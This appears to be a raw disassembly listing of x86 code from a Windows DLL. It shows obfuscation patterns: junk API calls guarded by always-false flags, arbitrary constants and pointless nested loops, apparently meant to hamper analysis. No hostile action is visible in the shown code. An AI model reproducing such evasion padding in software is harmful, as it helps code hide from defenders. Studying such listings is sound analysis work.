pop ecx
mov dword [ebp - 4], edi
cmp byte [ebp - 0x25], 0
je 0x10038d6f
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
inc dword [ebp - 0x18]
jmp 0x10038caa
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x14], 6
jmp 0x10038dab
mov dword [ebp - 0x570], ecx
mov dword [ebp - 0x56c], ecx
mov dword [ebp - 0x568], ecx
mov dword [ebp - 0x564], ecx
mov eax, dword [ebp - 0x56c]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff7
jle 0x10038d87
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
jge 0x10038d77
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edx
jne 0x10038c91
mov dword [ebp - 0x14], ebx
jmp 0x10038dd8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6c4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10038dcb
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp edi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x6c4], eax
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x50], 0x16
jne 0x10038f04
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x44], 0x35a23e86
mov dword [ebp - 0x14], 0xfffffff2
cmp dword [ebp - 0x14], 0xffffffef
jl 0x10038ef9
mov dword [ebp - 0x54], 0x1da9
cmp dword [ebp - 0x54], 0x217f
jle 0x10038e72
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov edi, eax
mov dword [ebp - 0x44], 0x5764
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
mov ecx, 0x1060cad8
cdq
push edx
push eax
call fcn.10012b14
inc esi
cmp esi, 0x6f7e
jl 0x10038e3f
dec edi
dec dword [ebp - 0x44]
jne 0x10038e3d
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x5192
jl 0x10038e34
or edi, 0xffffffff
mov dword [ebp - 0x2c], 0xc3ad3b31
mov dword [ebp - 4], 0x1f
cmp dword [ebp - 0x54], 0x1a6c
jge 0x10038ebf
mov edx, 0x1000a8d0
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x10038ebf
mov dword [ebp - 4], edi
mov dword [ebp - 0x2c], ebx
jmp 0x10038edf
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10038edc
push ebx
push 0x2498
call dword [sym.imp.USER32.dll_EnableWindow]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffea
jle 0x10038ec7
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x14]
jmp 0x10038e15
mov eax, dword [ebp - 0x50]
inc dword [ebp - 0x50]
jmp 0x10038df6
mov dword [ebp - 0x50], 0x2e0cf572
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x38], 0x30f94f37
mov dword [ebp - 0x2c], 0x43d9532b
mov dword [ebp - 0x48], 0xbad86e52
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x14], 0x580d416d
mov dword [ebp - 0x40], 0x4c7af5af
mov dword [ebp - 0x48], 0xd8b9dbea
push 4
call fcn.10012e69
mov dword [ebp - 0x4c], 0x55248722
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x1c], ebx
jmp 0x10038f6e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x330]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10038f5f
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
inc ecx
jmp 0x10038f8d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88], 0x2ba29f58
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10038f7c
dec dword [ebp - 0x88]
mov dword [ebp - 0x2c], ebx
jmp 0x10039135
mov dword [ebp - 0x590], edi
mov dword [ebp - 0x58c], edi
mov dword [ebp - 0x588], edi
mov dword [ebp - 0x584], edi
mov dword [ebp - 0x54], 0xf80366e5
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10038fd8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x84], 0xd4d14b71
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10038fc7
mov dword [ebp - 0x14], 0xfffffff5
cmp dword [ebp - 0x14], 0xfffffff2
jg 0x1003904e
mov esi, dword [ebp - 0x330]
mov dword [ebp - 0x44], 0x53413f08
xor edx, edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x590]
cmp eax, ecx
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
neg edx
cmp edx, 0xfe51
setl cl
xor edx, edx
add eax, ecx
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, 0xbc6200d4
setne dl
imul edx, dword [ebp - 0x4c]
cmp eax, edx
sbb eax, eax
neg eax
imul eax, dword [esi + 8]
mov dword [ebp - 0x84], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff2
jle 0x10038ff0
mov dword [ebp - 0x24], 0x16
cmp dword [ebp - 0x24], 7
je 0x1003912f
mov esi, 0xffff
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], ebx
je 0x100390a3
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10039087
push 0x1812
push ebx
push 0x936
push ebx
call dword [sym.imp.USER32.dll_LoadStringA]
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10039122
push 0x1d09
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
jmp 0x10039122
mov dword [ebp - 0x44], 0x2a9
xor edx, edx
mov dword [ebp - 0x40], 0x833e1abb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x88]
cmp ecx, eax
setle dl
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x84]
sub ecx, eax
mov eax, dword [ebp - 0x330]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax + 8], ecx
mov ecx, 0xad1d
mov eax, dword [ebp - 0x84]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setl dl
add edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x50]
add eax, 0xb104
add eax, edx
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 7
jne 0x10039064
inc dword [ebp - 0x2c]
push 1
pop ecx
cmp dword [ebp - 0x2c], 0x18
jne 0x10038fa0
lea ecx, [ebp - 0x330]
call fcn.10012eeb
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10039166
push 0xe21
push ebx
push ebx
push 0x26fb
push ebx
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 2
lea ecx, [ebp - 0x384]
call fcn.10012e69
mov dword [ebp - 4], 0x21
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x48], 0x884cb8f6
mov dword [ebp - 0x50], 0xfffffffd
push 2
call fcn.10012e69
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x2c], 0xbdd7
mov dword [ebp - 0x40], 0x544
cmp dword [ebp - 0x40], 0x81c
jle 0x10039204
mov esi, ebx
mov dword [ebp - 0x44], ebx
mov edi, esi
mov esi, 0xd5b
mov eax, edi
lea ecx, [ebp - 0x860]
cdq
push edx
push eax
call fcn.1000d4be
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100391d9
mov eax, dword [eax]
push eax
call fcn.1004ded6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x860]
call fcn.10013450
dec edi
dec esi
jne 0x100391bf
mov esi, dword [ebp - 0x44]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0x4546
jl 0x100391b8
or edi, 0xffffffff
mov dword [ebp - 0x4c], 0x2718
cmp dword [ebp - 0x40], 0x265
jge 0x1003921f
push 0x1000a944
call fcn.1004ded6
pop ecx
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x48], 0xeaac
mov dword [ebp - 0x1c], ebx
jmp 0x10039245
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x384]
mov dword [eax + ecx*4], 0x342eb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10039232
mov dword [ebp - 0x1c], ebx
jmp 0x10039263
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x348]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10039250
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 1
jg 0x100394c0
movdqa xmm0, xmmword [0x1000c010]
lea ecx, [ebp - 0x6e4]
push ecx
lea eax, [ebp - 0x6d4]
mov dword [ebp - 0x48], 8
push eax
push ecx
lea ecx, [ebp - 0x600]
movdqu xmmword [ebp - 0x6e4], xmm0
call fcn.10012ec5
push 1
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 0x25
call fcn.10012e69
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x44], 0x3c8e
cmp dword [ebp - 0x44], 0x3f82
jle 0x10039322
push ebx
push ebx
push 0x2058
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x950]
and eax, edi
cdq
push edx
push eax
call fcn.1000d4be
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100392fb
mov eax, dword [eax]
push eax
call fcn.1004ded6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x950]
call fcn.10013450
inc esi
cmp esi, 0x4347
jl 0x100392df
mov dword [ebp - 0x38], 0xfffffff7
cmp dword [ebp - 0x44], 0x3acf
jge 0x1003933d
push 0x1000a984
call fcn.1004ded6
pop ecx
xor edx, edx
mov dword [ebp - 4], 0x26
inc edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x44], 0xa6f
mov dword [ebp - 0x14], ebx
jmp 0x10039369
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], ebx
jl 0x100395c0
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 1
jg 0x100395b8
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x48], 0xfffffffa
mov byte [ebp - 0x25], bl
mov dword [ebp - 0x40], 0x501b
cmp dword [ebp - 0x40], 0x5304
jle 0x1003956c
dec dword [ebp - 0x2c]
jmp 0x100394c7
lea ecx, [ebp - 0x348]
call fcn.10012eeb
lea ecx, [ebp - 0x384]
mov dword [ebp - 4], edi
call fcn.10012eeb
xor esi, esi
inc esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x44], 0xa0b8ee41
mov dword [ebp - 0x38], 6
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1003960c
push ebx
push 0xb58
push 0x260a
push 0x1b37
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov dword [ebp - 0x2c], ebx
jmp 0x1003963b